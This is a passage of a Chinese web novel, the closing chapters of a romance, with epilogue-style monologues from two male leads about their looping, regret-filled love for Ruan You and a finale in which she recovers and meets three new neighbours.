是啊。爱。 可没人愿意爱他。 包括阮柚。 她甚至筹划着离开,在他不知情的时候。 江净理垂下了眼皮。 四周死一般的寂静,他望着镜子里的自己,碎裂的,扭曲的,失去理智的自己。他忽然意识到自己无论做什么都没办法留住她。她降临在他的世界,如破开阴潮的一束光,只是刚好照亮了自罢了。 她可以去温暖任何人,可以是她,也可以是别人。 意识到这一点后。 他仿佛坠入比之前更深的黑湖,冰凉又刺骨。 他想。 没关系。 阮柚不爱他,他爱她就好了。 他会学会怎么爱一个人,他拥有一切,可以将一切悉数奉上,只要她能够看着她。 是你说的。 不会留我一个人。 可阮柚最后还是离开了。 她就那样安静躺在自己怀里。 她的血像是绽开的花,刺痛了他的眼睛,将他整个人彻底的逼疯。 / 那道声音告诉自己,只要他听话,他就能够再见到阮柚。 如果是以前,江净理会嗤之以鼻。 他一向理智清醒,甚至称得上冷情冷心,可这一次,他几乎想都没想就同意了。 甚至,什么都没有问。 它说:“只要你成功完成循环,你就能够再次见到她。” 但实现循环的条件是:要先杀死自己 不破不立,先抹杀,后塑造,直到循环结束,你会拥有一个新的人生 那时,她会再度出现在你的世界。 江净理听了,很容易,就做到了。 甚至,他并没怎么感觉到痛苦。 第一次循环。 他真的见到阮柚了。 可她看不见他,也听不见自己的声音。 他真的只能远远的看着。 看她瘦瘦小小、在泥泞的路上摔倒。看她受到委屈,一个人躲在角落偷偷流眼泪 江净理心痛,伸手想为她抹去,透明的身体却先穿过了她。 江净理怔然,他什么也做不了。 而女孩伸出了手,摊开白皙的手指,只接到一手皎洁的月光。 她弯起月牙似的眼睛,慢慢笑了。 江净理陪着她,从小到大。 看她一点点坚强,如幼苗开始茁壮成长。看她不再流眼泪,坚韧的就像一株蒲草。 他看着她情窦初开,喜欢上成玉。 那一封封情书,诉尽了少女心事,却被对方弃之如履、扔到角落。 那一刻。 江净理大脑轰然一片。有恨、有怨,有嫉妒,有悲哀。 他甚至想质问成玉,为什么要这么践踏她的心意,他想:如果是他……如果是他,他绝对会妥善保管,一字一字的反复读。 可是啊 那些信,她从来不是给他的。 多讽刺。 江净理就这样看着他们越走越近。 这一次,阮柚选择了成玉。她的笑容那么开怀、幸福,仿佛吃到了世界上最甜的糖果,窝在少年怀里笑。 那么般配。 那么幸福。 可是,他呢? 他只能静静地看着,一幕幕,一瞬又一瞬,反复折磨着、撕扯着他的灵魂。 第二次循环。 江净理宛若被囚在躯壳里的困兽。 他再次成了江净理,却又不是。因为他什么都做不了,只能静静地看,重新经历了一遍他无聊又孤独的一生。可有一天,他终于遇见心心念念的人。 少女穿着白裙,眉眼灵动,暖融融的就像太阳。 她站在自己面前,有犹豫,但更多的是勇气,走向他表明心意。 “要不,你和我在一起吧。” “我真的很好很好。你可以试着喜欢我一下。” 闻言,江净理愣住。 有那么一刻,他似乎感觉心脏在疯狂的跳动,连带胸口翻涌起酸涩的情思,如潮的渴望、欢喜几乎要将他淹没 ,他好想抱住她,好想说我爱你,好想一遍又一遍的吻她。 可他无论如何挣扎,如何想要出声,他都没办法支配这具身体,没有办法发出半个字。 他只能听见那道声音冷漠的拒绝。 只能看着少女有些低落的神情。 只能听着周遭人对她的数落嘲讽。 江净理心如刀割,却什么都做不了。 他甚至,甚至亲眼看着她,走向了顾叙。 她爱上了一个人。 他们互诉情思,诉尽浓情蜜意。 江净理无声的看着,胸腔仿若破开一道口子,丝丝灌进冷风。 从未有过的冷,从未有过的恨。他恨所有人,却唯独不恨阮柚。因为他爱她,他一厢情愿的爱她。 可他仍然忍不住想,为什么……为什么她不爱我呢? 为什么她要选择顾叙呢?为什么要选择成玉呢? 他哪里不如顾叙?他哪里不如成玉? 他可以改变。如果她能够留在自己身边……他甚至可以扮演任何人。 江净理忽然感受到什么叫做命运的残忍、无情。 看着那一切,他也真切体会到什么是凌迟般的痛苦。 一下又一下,越磨越深,越来越痛,最后成为沉疴,那在胸腔燃烧的爱意,也成为毕生的偏执。 江净理就这样经历了一遍又一遍的循环。 每一次,她都过着不一样的人生。那人生灿烂、多彩,也有失意、无奈。但无论是何种人生,都有一个共同点:她的人生都没有他。 他甚至看着她和别人一步步踏入婚姻的殿堂。 互诉衷肠,约定终生。 一辈子不够,下辈子、下下辈子、他们都要在一起。 江净理眼眸漆黑,内心无比的荒凉。但于此同时,也是无尽的不甘和疯狂。 凭什么,凭什么,凭什么。 下辈子、下下辈子,她都该是他的才对。 世界在扭曲,风声在呼啸。 爱、恨、嗔、痴四个字本就交织纠缠,不分彼此。 在一次次循环里,那爱早就刻入骨髓,成为附骨之疽,毕生执念。 到了最后。 他只剩下一个念头:他想要见到她,想要真真切切地站到她面前。 终有一天,天光破开长夜。 长久漂泊的灵魂,犹如枯枝上飘落的秋叶,缓缓抵落到了实处。 少女终于出现在他面前。 她弯下身体,犹豫着问他疼不疼。 江净理靠坐在墙边,后脑勺缓慢地仰靠在了墙壁。 他弯起唇弧笑,冷白如玉的面容染上了些许的暖意,无人知道,他的呼吸是多么滚烫,周身也犹如化开了霜雪,重获新生、爱意疯长。 “疼啊,救命恩人。” 但这些疼,比起再次遇见你,又算得了什么呢。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第101章【VIP】 第101章 第一百零一章 成玉故事/独白 成玉篇-情书 “她又给你写情书了?” 男生笑嘻嘻地问他。 成玉面色不虞, 冷哼一声给他一脚。男生灵巧地躲开,更乐了:“你没数数,这个月第几封了?” 成玉盘着长腿, 眼睛看着游戏机,头也不抬一下。 “没数,扔了。” 男生:“啧, 无情。”- 阮柚喜欢成玉。 他是他的救命恩人, 在她不小心落水时候救了自己。 他生的很好看,比电视里的明星还要好看。 阮柚是个一根筋的人, 对第一眼就喜欢的人,她有着异常的执着。 她为自己打气,自我鼓励,每天坚持为他写一封情书, 有时候写的不好,她都会藏在抽屉里。有时超常发挥, 她总会想方设法交给成玉。 可成玉似乎不喜欢她写的情书。 后来她才反应过来, 他是不喜欢她这个人。 而那些情书, 都成了垃圾。 “阮柚, 你又来了啊。” 男生认出了她, 笑呵呵打招呼。 “是啊。” 阮柚点了点脑袋。 她皮肤白皙,留着齐肩发,整个人又乖又纯, 看的人心发软。 男生怔怔的想, 阮柚人虽然一根筋, 但人是真的好看。 可惜了。 碰上成玉那个无心情爱的大魔王。 阮柚小时候发烧,据说不小心烧坏了脑袋,从此反应有些慢半拍。 但她从不觉得自己笨。 她成绩一直保持在前十名, 外语更是名列前茅。 她非常努力用功,经常抱着书背到凌晨,立志要靠读书改变自己和家人的命运。 可周围总有人说她笨。 说她一根筋,人也温吞。 晃了晃脑袋,阮柚将情书交给了成玉。 她的眼睛亮晶晶的,又圆又亮,就像小猫一般没有攻击性。 可成玉并没有丝毫动容,他让别人都出去,然后慢悠悠开口问,“阮柚,你喜欢我那一点呢?” 阮柚认真想了想。 “你长得好看。” 成玉眼皮一跳,竟然有点生气。笑话,他难道只有脸能看吗! 但很快,他狠狠咬了咬后槽牙:“我不喜欢肤浅的人。” 他想,要是她说出能说的好听一些,他兴许还会拒绝的柔和一些。 毕竟她看起来这么柔弱,哭鼻子的样子一定很可怜。 可阮柚好像真的想不出来了。 她走进几步,伸手拉拉他的衣角:“你救了我,我喜欢你。” 成玉皱眉。 少女特有的馨香浮现鼻息,若有若无,他触电一般地弹开,没好气地说:“离我远一点。” 语气有点凶。 阮柚像是被吓到,定在原地看他。 一双眼睛没了之前的光彩,像被雨水打湿,染上湿漉漉的情绪。 成玉见状,说不出的烦躁。说了多少遍,他根本没有救过她。 他揉揉鼻梁,闭眼时候却想刚才不知是谁的提议。 和阮柚在一起一个月。一辆最新的跑车。 想起那双雾蒙蒙的杏眼,成玉忽然有了一些兴致。 成玉终于同意了阮柚的表白。 他们真的在一起了。 阮柚非常开心。比成绩进步还要开心。 她把这些归功于自己情书的功劳,回去又试着写了篇作文,果然次日得到了老师的表扬。 哈。 阮柚更开心了。 成玉本家不在这里,据说是犯了错才被送到这里的。阮柚其实不知道为什么他只有犯错才来这里,毕竟在她看来,这里风景秀美、四季如春,根本挑不出一点错。 和成玉刚在一起。 他骑车带她兜风。夕阳西下,少年笑容肆意,唇瓣绽开张扬的弧度,就像一道自由的劲风。 阮柚下意识抱紧他的腰。 成玉僵了一下,但却没说什么。只是默默的放缓了速度。 他们拥有了很多快乐的回忆。 阮柚回家后,告诉了弟弟阮时。弟弟神情向往,却隐隐有点失落。 他天生身体差,除了家里和医院,基本没去过任何地方。 阮时是个孤独的小孩。 阮柚忽然意识到了什么,心底有些愧疚。 这些天,她一直在和成玉玩,少了陪伴他的时间。 于是第二天,阮柚决定在家陪阮时玩。 他们正凑在一起拼拼图。 这时,座机电话叮铃铃响了起来。 阮柚走去接听。 竟是成玉。 少年语气不算好:“你人呢,我等你半天。” 阮柚:“我昨天给你发了消息……今天我有其他事,不过去了。” 那头沉默了半晌。 “你不会没看见吧。” 阮柚小声问。 成玉薄唇抿紧,“不来就不来。” 他也没盼着他来。 只是挂掉电话后,他气压实在低,周遭没人触他的霉头。 今日那个私生子正式进入成家。 谁都知道,成玉比任何人都恨那个人。 成玉讨厌背叛。 自从得知了父亲背叛了母亲,他再也没喊过他一声。 那愧疚的眼神、过分的体贴在他眼里也成了恶心虚假到了极致。 他冷着脸起身,离开。 成玉浑身透着戾气,但走在街上,竟然不知道该去何处。 脑海忽然闪过一张熟悉的脸。 她真狠心。 不是说喜欢自己吗?居然还爽约。 成玉冷冷地哼了一口气。 骨节分明的手指转着车钥匙,随即萌生了一个从未有过的想法。 阮柚没想到成玉会来。 她眼睛一亮,走去牵住他的手。 十指相扣。 少年蹙了蹙好看的眉头,唇角抬了又压,耳根却莫名的有点热。 终究是没松开。 他想,怪她太黏人了。 阮时很喜欢成玉。 成玉有着他向往的所有品质,张扬肆意,看起来什么都不怕。 阮柚:“他是我的男朋友。” 阮时:“什么是男朋友。” “就是互相喜欢的人。” 阮柚想了想,对着成玉眨了下眼睛。 成玉扯了扯唇角,喉咙莫名有些发痒。 但那份异样转瞬即逝,很快就被他抛之脑后。 阮柚傍晚时候,带他去山顶看晚霞。 落日余晖。天空是粉色霞光,风灌在他的衣衫,成玉侧眸,忽然脸颊一热。 少年笑了一下。 她亲了他。 成玉长睫缓慢地闪烁了几下,脑袋竟一阵轰然,就像有绚丽的烟花炸开,令他几乎晕头转向。他摸了摸脸颊,热的发烫。 视线微微下垂,落在少女漂亮的脸颊,恍惚间听见不知谁的心跳声,扑通、扑通,敲击着他的耳膜。 他的耳根火烧似的烫,眼睛却一瞬不瞬看着阮柚,低着嗓说:“这不公平,我要亲过来。” 少年少女一来二去。 不知谁占了便宜。 谁亲的更多。 成玉回去后,胸口还鼓胀的厉害。 像是塞满了情绪,他不知道是什么,转头就问起了朋友。 朋友听完后,惊愕:“你不会是喜欢上她了吧?” 这下轮到成玉怔然了。 但他不傻,被这么一点拨,一下子就反应过来。是啊。他喜欢上她了。喜欢上阮柚,不是一件很奇怪的事情。 但他很快恐慌起来。 隔了几秒,成玉:“之前那个约定,你们谁也不能提。” 朋友啊了声,呆呆点头。 成玉意识到喜欢上阮柚后,就想要一直粘着她。 他时时刻刻想要和她在一起,甚至抱着她,时不时问:“你喜欢我哪一点?” 阮柚总会说:“你救过我。” 从前,他听到这个回答,是不屑一顾的。 他觉得阮柚真傻,救命恩人还能认错。可如今听来,心底却是换了一番滋味。他细细玩着阮柚的手指,吞咽下那几分干涩,抬睫再问,“除了这个呢?” 阮柚:“你长得好看。” 这次,成玉却弯唇笑了。 是啊! 他长得好看。 不知什么时候起,他居然开始庆幸自己拥有的容貌。 回去以后。 他就派人去弄清楚阮柚所谓的救命恩人是什么人。但次日,成玉如坠冰窟,开始后悔自己这个决定。 因为她的救命恩人。 是成尧。 他们容貌有几分相似。 因此,她认错了人。 成玉得知一切后,很平静地将那些资料都扔了。 过了一会儿,他又捡起来,放到了碎纸机碾碎。 有天。 阮柚不经意地问:“我之前给你的情书呢?” 成玉薄唇抿紧,整个人像绷紧的弦。 “怎么了?” 阮柚:“就是问一问。” 她趴在桌上打了个哈欠,懒洋洋地,“没什么。” 她似乎真的只是随口一问。 可成玉听来,脸色却说不出的苍白。 他没办法给她答案,因为那些情书,都被他扔掉了。 曾经的他顽劣张扬,抱着好玩的心逗弄着少女真心,如今的他却如履薄冰,生怕自己会不小心打破这份美好。 可事与愿违。 阮柚不知从哪里听来的传言,眼睛红红的,对他提了分手。 她说:“成玉,为什么要这么欺骗我?这样做有意思吗?你真的把我当傻子吗?” 他张了张唇,大脑嗡嗡作响。 他知道,努力经营的美梦破碎了。 从那天起,成玉开始了无穷尽的灰暗。 他想去见阮柚,却被她拒之门外。 他在门外等了一日又一日,却始终得不到她的回应。 他彻底失去了阮柚。 成玉从来没那么讨厌自己。 可他真的不想失去。 他看着阮柚。 视线总是如影随形。 而她再也不会为她停留。 甚至有一天。 她偶尔认识了成尧,他们越走越近,这令他痛苦又惶恐。 他回了家。 毫不犹豫扯开成尧虚伪的面具,警告他离阮柚远一些。 成尧却笑一声,“可我们本该如此。是你骗了她,现在只是拨乱反正而已。” 好一个拨乱反正。 成玉喉咙腥甜,内心痛苦撕扯,愤怒灼烧他的理智。 他们打了一架,成玉就像个疯子。 可满身的伤,换来的只是阮柚的皱眉:“成玉,我们已经结束了,你没必要这样。” 成玉垂了垂眼睛。 他回到了房间。 他想起阮柚曾经给自己写过的情书,那密密麻麻的字,都是珍贵难得的心意。他也可以为她写很多的情书,只要他回头。 成玉日日夜夜的写。 他想着她的笑,想着她的眉眼,想着和她相处的每个细节,想着那个温热的吻,整个人沉浸在无限的甜蜜里,就这样写了一封又一封。 他想。 等到冬天结束,冰雪消融。 他一定要亲手送给她。 告诉他,他真的真的很喜欢他。 可他最终没有等到。 隆冬时节,一个平淡的周六。 阮柚为了救阮时,生命永远停在了十八岁。 她就像烟花,于绚烂时节绽放,惊艳了每个瞬间。 留给他的,却是漫长的冬夜。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第102章【终章】 第102章 第一百零二章 “你好。”…… 阮柚醒了。 睁开眼后, 先对上的便是家人欣喜的目光。 下一瞬,妈妈温柔地抱住她:“宝宝,宝宝, 你终于、你终于醒了。” “妈妈。” 阮柚眼睛有点酸,闭上眼皮,怀里都是她熟悉的香气。 她的爸爸笑吟吟地摸她的头发。 她的哥哥带来各种娃娃逗她开心。 阮柚蜷了蜷指尖, 就像是从一个很长很长的梦里苏醒, 可醒来以后,浑身一下子轻了。 哥哥温柔地告诉她。 她做了一个手术。 幸运的是, 手术很成功。 阮柚笑了笑,她一直都相信他。 果然,她真的好起来了。拥有一具健康的身体,从前的她想都不敢想, 如今却真的成为了现实。 她不必再像是摆放在橱窗里易碎的娃娃,而是真正的感受生活, 体验生活美好。 她获得了真正的自由。 阮柚是个很容易满足的人。她能够拥有这些, 已经很满足了。 她顺利完成了大学课业, 以优异的成绩拿了全奖毕业, 进入了一家很不错的公司实习。 同时, 她交到了很多的朋友,生活也变得丰富多彩起来。 一天聚餐结束,外面不知何时下起了雨。 家人的电话打了过来。阮柚想了想, 拒绝了他们来接自己的提议, 她可以自己打车。 附近交通便利, 很容易就能打到车。 只是她找了找包,才后知后觉出自己忘了拿伞。 和同事说了一声。 阮柚转过身,上楼去拿。 走廊很安静。 白炽灯切割出淡淡的阴影, 阮柚往上走,在拐角处,与一个人擦肩而过。 熟悉的气息。 清冷、干净,就像覆在枝头的霜雪。 阮柚脚步一顿,心底有些说不出的感觉,却到底抓不住什么。她于是加快了步子,去了三楼包间拿伞。 这个小插曲并未在生活留下太多痕迹。 过了一些天,阮柚的生日到了。家人给她办了很用心的生日会,阮柚闭眼对着蜡烛许愿:希望我爱的人都一切安好。 阮柚想起来自己曾遗忘的事情。 在她沉睡不醒时,一位自称系统的人告诉她,只要完成那些任务,就可以重获新生。具体的经历她已经记不清了,只觉得那些经历对他而言是新奇而又鲜活的。 阮柚觉得自己很幸运。 能够有这样难得的机会。 同时,她对如今的生活倍感珍惜。 珍惜每一天、每分每秒,每个和家人朋友相处的瞬间。 只是她好像真的忘记了什么。 但想不起来,她也没再过多的纠结。 从实习期转正后。 父母为了方便她上班,给她在附近地段买了公寓。公寓环境清幽雅致,周遭的绿化也做的很好,回家的路上总要经过一个小小的坡,日落时分,余晖铺开在视野的尽头,烂漫又绚烂,美好的仿佛童话一般。 阮柚非常喜欢这一幕。 她偶尔会停下脚步,拿起手机拍下这一幕。 朋友提议可以将照片洗出来。 阮柚点头。 “这是谁啊?” 半晌,朋友疑惑地说,越看语气越激动,“他长得好好看啊。” 阮柚疑惑地凑近。 她从未注意的桥边,站着一个高个男人。 男人身形颀长,穿着长长的深灰风衣,轮廓被光影描摹的模糊,但依稀可见清俊面容。 照片里。 他微微抬头,似乎在往这边看来。 朋友越看越新奇:“欸,你认识他吗?” 她怎么觉得,他一直在看向镜头这边呢? 阮柚看了看,忽然有种奇怪的感觉。 她内心闪过几分熟悉,却又不知从何而来的熟悉,眼底也浮现出不知从何而来的迷茫。 隔了几秒,她说:“不认识。” 而次日清晨。 阮柚起了个大早,洗漱以后,外面的门铃被人按了按。 叮—— 房门被她打开。 清晨的日光缓缓落下。 眼前是三张陌生的、却很好看的脸。 阮柚抿唇,下意识地握紧了门把手:“你们是?” “我们是新搬来的邻居。” 阮柚迟疑地点点头。 “唔,你好。” 他们弯唇笑了笑,几乎同时伸出手。 “你好。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m